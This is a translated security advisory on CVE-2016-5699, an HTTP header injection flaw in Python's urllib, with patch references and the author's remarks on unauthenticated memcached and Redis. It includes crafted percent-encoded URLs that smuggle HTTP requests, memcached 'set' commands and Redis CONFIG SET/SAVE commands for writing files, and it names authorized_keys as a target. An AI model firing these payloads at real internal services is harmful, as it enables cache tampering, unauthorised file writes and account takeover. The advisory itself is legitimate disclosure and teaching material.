Python urllib HTTP頭注入漏洞

wyzsk發表於2020-08-19
作者: virusdefender · 2016/06/17 17:19

from:http://blog.blindspotsecurity.com/2016/06/advisory-http-header-injection-in.html

0x00 總覽


Python的urllib庫(在Python2中為urllib2,在Python3中為urllib)有一個HTTP協議下的協議流注入漏洞。如果攻擊者可以控制Python程式碼訪問任意URL或者讓Python程式碼訪問一個惡意的web servr,那這個漏洞可能會危害內網服務安全。

0x01 問題在哪


HTTP協議解析host的時候可以接受百分號編碼的值,解碼,然後包含在HTTP資料流裡面,但是沒有進一步的驗證或者編碼,這就可以注入一個換行符。

#!python
#!/usr/bin/env python3  

import sys
import urllib
import urllib.error
import urllib.request   

url = sys.argv[1]   

try:
    info = urllib.request.urlopen(url).info()
    print(info)
except urllib.error.URLError as e:
    print(e)

這段程式碼只是從命令列引數接收一個URL,然後去訪問它。為了檢視urllib獲取的HTTP頭,我們用一個nc來監聽埠。

#!shell
nc -l -p 12345

在正常的程式碼中,我們可以這樣訪問

#!shell
./fetch3.py http://127.0.0.1:12345/foo

返回的HTTP頭是

#!shell
GET /foo HTTP/1.1
Accept-Encoding: identity
User-Agent: Python-urllib/3.4
Connection: close
Host: 127.0.0.1:12345

然後我們使用惡意構造的地址

#!shell
./fetch3.py http://127.0.0.1%0d%0aX-injected:%20header%0d%0ax-leftover:%20:12345/foo

返回的HTTP頭就是

#!shell
GET /foo HTTP/1.1
Accept-Encoding: identity
User-Agent: Python-urllib/3.4
Host: 127.0.0.1
X-injected: header
x-leftover: :12345
Connection: close

然後攻擊者可以任意注入HTTP頭了。

這個攻擊在使用域名的時候也可以進行,但是要插入一個空位元組才能進行DNS查詢。比如說,下面的URL進行解析會失敗的。

#!shell
http://localhost%0d%0ax-bar:%20:12345/foo

但是下面的URL是可以正常解析並訪問到127.0.0.1的

#!shell
http://localhost%00%0d%0ax-bar:%20:12345/foo

要注意的是HTTP重定向也可以利用這個漏洞,如果攻擊者提供的URL是一個惡意的web server,然後伺服器可以重定向到其他的URL也可以導致協議注入。

0x02 攻擊面


下面會討論幾個可能導致嚴重後果的攻擊方式。當然還遠遠不夠,攻擊都需要特定的場景,有很多不同的方法可以利用,還不能確定有沒有其他的利用方式。

HTTP頭注入和請求偽造

這個攻擊方式由來已久了,但是和以前的請求偽造不同的是,這裡僅僅是可以注入額外的HTTP頭和請求方法。當然當前場景下,能夠提交不同的HTTP方法和請求資料就已經很有用了,比如說原始的請求是這樣的

#!shell
GET /foo HTTP/1.1
Accept-Encoding: identity
User-Agent: Python-urllib/3.4
Host: 127.0.0.1
Connection: close

攻擊者可以注入一個額外的完整的HTTP請求頭

#!shell
http://127.0.0.1%0d%0aConnection%3a%20Keep-Alive%0d%0a%0d%0aPOST%20%2fbar%20HTTP%2f1.1%0d%0aHost%3a%20127.0.0.1%0d%0aContent-Length%3a%2031%0d%0a%0d%0a%7b%22new%22%3a%22json%22%2c%22content%22%3a%22here%22%7d%0d%0a:12345/foo

這個的響應是

#!shell
GET /foo HTTP/1.1
Accept-Encoding: identity
User-Agent: Python-urllib/3.4
Host: 127.0.0.1
Connection: Keep-Alive  

POST /bar HTTP/1.1
Host: 127.0.0.1
Content-Length: 31  

{"new":"json","content":"here"}
:12345
Connection: close

demo中注入的完整的請求頭在Apache HTTPD下是工作的,但是其他的server不一定能正確的解析或者利用。這種攻擊可以用在內網攻擊上,比如未授權的REST、SOAP或者類似的服務Exploiting Server Side Request Forgery on a Node/Express Application (hosted on Amazon EC2)

攻擊memcached

memcached文件中,memcached會開放幾個簡單的網路協議介面供快取資料讀取和儲存使用。一般來說,這種mamcached都是部署在應用伺服器上,這樣多個例項之間共享資料或者進行一些操作就會比較快,不用進行資料庫操作了。要注意的是,memcached預設是都沒有密碼保護的。開發者或者管理員一般也是認為內網的應用是無法被攻擊的。

這樣,如果我們可以控制內網的Python訪問一個URL,然後我們就可以輕鬆的訪問memcached了,比如

#!shell
http://127.0.0.1%0d%0aset%20foo%200%200%205%0d%0aABCDE%0d%0a:11211/foo

就會產生下面的HTTP頭

#!shell
GET /foo HTTP/1.1
Accept-Encoding: identity
Connection: close
User-Agent: Python-urllib/3.4
Host: 127.0.0.1
set foo 0 0 5
ABCDE
:11211

當檢查下面幾行memcached的協議語法的時候,大部分都是語法錯誤,但是memcached在收到錯誤的命令的時候並不會關閉連線,這樣攻擊者就可以在請求的任何位置注入命令了,然後memcached就會執行。下面是memcached的響應(memcached是Debian下包管理預設配置安裝的)

#!shell
ERROR
ERROR
ERROR
ERROR
ERROR
STORED
ERROR
ERROR

經過確認,memcached中確實成功的插入了foo的值。這種場景下,攻擊者就可以給內網的memcached例項傳送任意命令了。如果應用依賴於memcached中儲存的資料(比如使用者的session資料,HTML或者其他的敏感資料),攻擊者可能獲取應用更高的許可權了。這個利用方式還可以造成拒絕服務攻擊,就是攻擊者可以在memcached中儲存大量的資料。

攻擊Redis

Redis和memcached很相似,因為都提供了資料備份儲存,一些內建資料型別,還能執行Lua指令碼。前幾年Quite a bit公佈了攻擊Redis的一些方法(連結1 連結2 連結3)。和memcached類似,Redis提供了TCP協議的介面,然後也可以執行一堆錯誤命令中的正確命令。另外,還可以利用Redis在寫任意檔案,攻擊者可以控制一部分檔案內容。比如下面的URL在/tmp/evil下建立了一個資料庫檔案。

#!shell
http://127.0.0.1%0d%0aCONFIG%20SET%20dir%20%2ftmp%0d%0aCONFIG%20SET%20dbfilename%20evil%0d%0aSET%20foo%20bar%0d%0aSAVE%0d%0a:6379/foo

然後可以看到剛才儲存的一些鍵值對資料

#!shell
# strings -n 3 /tmp/evil
REDIS0006
foo
bar

理論上,攻擊者就可以利用Redis建立或者改寫一些敏感檔案了,包括

#!shell
 ~redis/.profile
 ~redis/.ssh/authorized_keys
...

0x03 多版本的Python都受到影響


Python 2和3版本都受到影響,Cedric Buissart 提供了修復問題的部分資訊。

3.4 / 3.5 : revision 94952
2.7 : revision 94951

雖然已經在最新的版本中修復了,但是很多系統的穩定版是沒法得到修復的,比如最新的Debian Stable就還存在這個漏洞。

0x04 我的一點思考


Redis和memcached的開發者提供的預設配置是沒有密碼的,這個是不負責任的。當然,我能理解他們認為這些東西應該在"可信的內網"中使用。問題,實際上很少的內網能比外網更安全。未授權的服務即使監聽在localhost,也會受到影響的。在安裝過程中加一個隨機生成的密碼也並不難,開發者應該嚴肅的面對安全問題。

0x05 譯者注


  • 這個漏洞編號是 CVE-2016-5699,RedHat給申請的 http://www.openwall.com/lists/oss-security/2016/06/14/7
  • 以前Python bugs中的討論 https://bugs.python.org/issue22928
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章